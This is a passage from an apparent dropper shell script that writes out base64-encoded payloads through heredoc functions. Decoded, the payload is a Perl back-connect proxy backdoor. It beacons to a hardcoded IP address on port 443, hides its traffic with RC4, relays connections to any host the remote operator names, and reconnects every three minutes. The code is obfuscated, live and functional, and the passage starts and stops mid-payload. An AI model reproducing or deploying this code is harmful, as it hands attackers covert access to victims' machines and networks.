MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_20() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 